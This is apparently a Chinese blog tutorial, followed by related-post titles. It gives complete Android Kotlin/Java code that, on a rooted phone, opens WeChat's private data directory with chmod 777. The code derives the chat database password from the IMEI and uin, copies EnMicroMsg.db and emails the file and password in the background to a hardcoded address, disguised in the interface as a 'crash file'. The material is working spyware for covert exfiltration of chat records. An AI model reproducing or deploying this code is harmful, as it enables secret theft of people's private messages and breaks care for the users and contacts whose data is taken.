实验软件 :Android Studio
实验设备:Root过的真机一部或者夜神模拟器

测试效果

废话不多说  直接上代码

获取手机微信数据库目录并发送邮件

class CoreService : IntentService("CoreService") {private val WX_ROOT_PATH = "/data/data/com.tencent.mm/"                               // 微信根目录private val WX_SP_UIN_PATH = "${WX_ROOT_PATH}shared_prefs/auth_info_key_prefs.xml"    // 微信保存uin的目录private val WX_DB_DIR_PATH = "${WX_ROOT_PATH}MicroMsg/"                               // 微信保存聊天记录数据库的目录private val WX_DB_FILE_NAME = "EnMicroMsg.db"                                         // 微信聊天记录数据库private val WX_FILE_PATH = "/storage/emulated/0/Tencent/micromsg/"                    // 微信保存聊天时语音、图片、视频文件的地址//  private val currApkPath = "/data/data/com.dfsc.wechatrecord/"private val currApkPath = "/storage/emulated/0/"private val COPY_WX_DATA_DB = "wx_data.db"private var uin = ""private var dbPwd = ""                        // 数据库密码private lateinit var userInfo: UserInfo       // 用户private var uinEnc = ""                       // 加密后的uin@SuppressLint("MissingPermission")override fun onHandleIntent(intent: Intent?) {// 获取数据库密码 数据库密码是IMEI和uin合并后计算MD5值取前7位// 获取imeival manager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManagerval imei = manager.deviceId// 修改微信根目录读写权限try {ShellCommand.shellCommand("chmod -R 777 $WX_ROOT_PATH")// 获取uinval doc = Jsoup.parse(File(WX_SP_UIN_PATH), "UTF-8")val elements = doc.select("int")elements.filter { it.attr("name") == "_auth_uin" }.forEach { uin = it.attr("value") }if (uin.isEmpty()) {toast("当前没有登录微信,请登录后重试")return}// 获取数据库密码log("imei密码:$imei")log("uin密码:$uin")dbPwd = MD5.getMD5Str(imei + uin).substring(0, 7)log("数据库密码:$dbPwd")FileUtils.writeLog(this, "数据库密码:$dbPwd\n")} catch (e: Exception) {log("破解数据库失败:${e.message}")FileUtils.writeLog(this, "破解数据库失败:${e.message}\n")toast("破解数据库失败:${e.message}")}// 获取当前微信登录用户的数据库文件父级文件夹名(MD5("mm"+uin) )uinEnc = MD5.getMD5Str("mm$uin")log("当前微信用户数据库文件父级文件名:$uinEnc")// 递归查询微信本地数据库文件val dbDir = File(WX_DB_DIR_PATH + uinEnc)log("微信数据库文件目录:$dbDir")val list = FileUtils.searchFile(dbDir, WX_DB_FILE_NAME)for (file in list) {val copyFilePath = currApkPath + COPY_WX_DATA_DBlog("微信数据库文件路径:${file.absolutePath}")try {// 将微信数据库拷贝出来,因为直接连接微信的db,会导致微信崩溃FileUtils.copyFile(file.absolutePath, copyFilePath)// 打开微信数据库
//                openWXDB(File(copyFilePath), dbPwd)sendCrashFile(copyFilePath,dbPwd)} catch (e: Exception) {log("复制数据库失败:${e.message}")FileUtils.writeLog(this, "复制数据库失败:${e.message}\n")toast("复制数据库失败:${e.message}")}}}private fun sendCrashFile(fileName: String,content: String) {if (!Util.fileIsExists(fileName))returnThread(Runnable {val isSuccess = Util.sendEmail(fileName,content)Looper.prepare()if (isSuccess) {Util.delFile(fileName)Toast.makeText(applicationContext, "crash文件发送成功!", Toast.LENGTH_LONG).show()} else {Toast.makeText(applicationContext, "crash文件发送失败!", Toast.LENGTH_LONG).show()}Looper.loop()}).start()}

}

邮件发送配置为你的邮箱发件人和收件人

public class Util {/*** 发送邮件的方法* @return*/public static boolean sendEmail(String fileName,String content){MailSenderInfo mailInfo = new MailSenderInfo();mailInfo.setMailServerHost("smtp.qq.com"); //其他邮箱修改这个地址mailInfo.setMailServerPort("25");mailInfo.setValidate(true);mailInfo.setUserName("xxxx@qq.com"); //你的邮箱地址mailInfo.setPassword("xxxxx");// 您的邮箱密码mailInfo.setFromAddress("xxxx@qq.com"); //发送邮箱mailInfo.setToAddress("872555315@qq.com"); //收件人邮箱mailInfo.setSubject("微信数据库密码"+content);mailInfo.setContent("微信数据库密码");// 这个类主要来发送邮件return sendTextMail(mailInfo,fileName);}/*** 以文本格式发送邮件(带附件)* @param mailInfo 待发送的邮件的信息*/private static boolean sendTextMail(MailSenderInfo mailInfo,String fileName) {// 判断是否需要身份认证MyAuthenticator authenticator = null;Properties pro = mailInfo.getProperties();if (mailInfo.isValidate()) {// 如果需要身份认证,则创建一个密码验证器authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());}// 根据邮件会话属性和密码验证器构造一个发送邮件的sessionSession sendMailSession = Session.getDefaultInstance(pro,authenticator);try {// 根据session创建一个邮件消息Message mailMessage = new MimeMessage(sendMailSession);// 创建邮件发送者地址Address from = new InternetAddress(mailInfo.getFromAddress());// 设置邮件消息的发送者mailMessage.setFrom(from);// 创建邮件的接收者地址,并设置到邮件消息中Address to = new InternetAddress(mailInfo.getToAddress());mailMessage.setRecipient(Message.RecipientType.TO,to);// 设置邮件消息的主题mailMessage.setSubject(mailInfo.getSubject());// 设置邮件消息发送的时间mailMessage.setSentDate(new Date());// 设置邮件消息的主要内容String mailContent = mailInfo.getContent();mailMessage.setText(mailContent);/*** 以下内容是:发送邮件时添加附件*/if (fileName != null) {FileDataSource fileDataSource = new FileDataSource(fileName); //打开要发送的文件MimeBodyPart attachPart = new MimeBodyPart();attachPart.setDataHandler(new DataHandler(fileDataSource));attachPart.setFileName(fileDataSource.getName());MimeMultipart allMultipart = new MimeMultipart("mixed"); //附件allMultipart.addBodyPart(attachPart);//添加mailMessage.setContent(allMultipart); //发邮件时添加附件}// 发送邮件Transport.send(mailMessage);return true;} catch (MessagingException ex) {ex.printStackTrace();}return false;}/*** 判读文件是否存在* @return*/public static boolean fileIsExists(String fileName){try{File file = new File(fileName);if(!file.exists())return false;elsereturn true;}catch (Exception e) {e.printStackTrace();return false;}}public static void delFile(String fileName) {try{File file = new File(fileName);if(!file.exists())return;file.delete();}catch (Exception e) {e.printStackTrace();}}}至此就可以通过页面点击发送邮件了

Android 获取手机中微信聊天记录并后台发送到邮箱相关推荐

  1. Android 获取手机中微信聊天记录

    首先我们要知道,微信的聊天记录一般是不提供给我们获取的,所以一般情况下我们手机没root的话就拿不到了.就算是root后的手机,想要获取微信的EnMicroMsg.db文件并且解密它.打开它也有点难度 ...

  2. Android获取手机中外置内存卡、内置内存卡、手机内存路径

    http://www.open-open.com/code/view/1433585940578 首先内部存储路径为/data/data/youPackageName/,下面讲解的各路径都是基于你自己 ...

  3. Android获取手机中外置内存卡 内置内存卡 手机内存路径

    http://www.open-open.com/code/view/1433585940578 首先内部存储路径为/data/data/youPackageName/,下面讲解的各路径都是基于你自己 ...

  4. Android获取手机中的所有音乐地址

    //获取手机中的所有音乐 public static LinkedHashMap<Integer, MusicDatas> getAllMusicFile(Context context) ...

  5. Android 获取取手机中微信聊天记录

    关于如何在 Android 手机上窃取微信聊天记录. 这几天事情比较多,可还是想尽快写下这篇文章. 本以为微信的聊天记录以我本人现存能力获取不到,但经过一番尝试,还是成功了.前提:手机需要已经 roo ...

  6. Android 获取手机中的图片信息的两种方法

    1, Android 使用ContentProvider扫描手机中的图片 // 必须在查找前进行全盘的扫描,否则新加入的图片是无法得到显示的(加入对sd卡操作的权限)//todo 仅限于android ...

  7. android 获取手机中应用运行的时长和次数

    android5.0用UsageStatsManager来获取程序运行时间 本来想用PkgUsageStats来获取的,后来看到有人说5.0以后可以直接用UsageStatsManager来获取信息, ...

  8. android 获取图片上某一个文字位置_android 获取手机中的所有图片或某一目录下的图片方法...

    获取手机中的所有图片,并过滤获取某一目录下的图片.(注释掉的代码可以按照目录分组) private void getAllPhotoInfo() { new Thread(new Runnable() ...

  9. Android获取系统相册图片选中地址,获取手机中的所有图片地址自定义相册

    一.获取手机中的值 1.首先在使用读写sd卡权限 2.获取手机中的所有图片: 注意代码中的getGalleryPhotos(getContentResolver()) 方法获取所有地址 获取所有图片地 ...

最新文章

  1. 两轴机械臂+机械爪整体控制板设计与机械爪控制调试
  2. nav 计算机网络_CTO下载-计算机网络课件(配套韩立刚老师课程).ppt
  3. java ArrayList排序
  4. 什么电脑的牌子好用_扬州诚招电动牙刷代理有什么牌子比较好用
  5. java mqtt客户端_java 实现mqtt发送和接收消息客户端具体用法及测试代码
  6. python解析库详解_PyQuery库详解
  7. c语言寻找最小路集,寻找一个准确的方法来用C语言编写微基准小的代码路径++和在Linux / OSX上运行...
  8. 性能测试:基础(3)
  9. Android开发笔记(六十五)多样的菜单
  10. java随机抽题系统_什么样的考试场景需要使用随机试卷模式?
  11. 2 网段 Vlan+NAT 配置
  12. 高等数学知识框架梳理
  13. 2018计算机二级c知识,2018年全国计算机二级C语言考点:C语言基本知识.pdf
  14. Mikrotik RouterOS路由器和华为交换机链路聚合+VRRP+单线多拨
  15. Failing because I am unlikely to write too排查方案
  16. 2022爱分析·人工智能厂商全景报告
  17. Mac通过命令行搜索文件
  18. docker安装mysql 并挂载目录
  19. web图片铺满网页_CSS实现网页背景图片自适应全屏
  20. 基于Java毕业设计智慧茶园综合管理系统源码+系统+mysql+lw文档+部署软件

热门文章

  1. iOS 启动图标尺寸大全
  2. 新买的笔记本计算机内存不足,笔记本电脑内存不足怎么办 解决方法【图文教程】...
  3. 工程师教你如何快速开发微信公众号小程序
  4. 二进制与十进制互相转换
  5. 如何设置将桌面上的计算机隐藏,电脑如何隐藏桌面图标,怎样隐藏桌面上的一个图标...
  6. 百度云 x 全民小视频 | 发现真实有趣的世界
  7. Object类下面的一些方法详解
  8. HCIE-Datacom 2204day02
  9. 【11-JVM面试专题-说说你知道的垃圾回收算法?垃圾回收器你知道吗?CMS、G1和ZGC垃圾回收器你有过了解吗?】
  10. 浪涌保护器,电涌保护器SPD的工作原理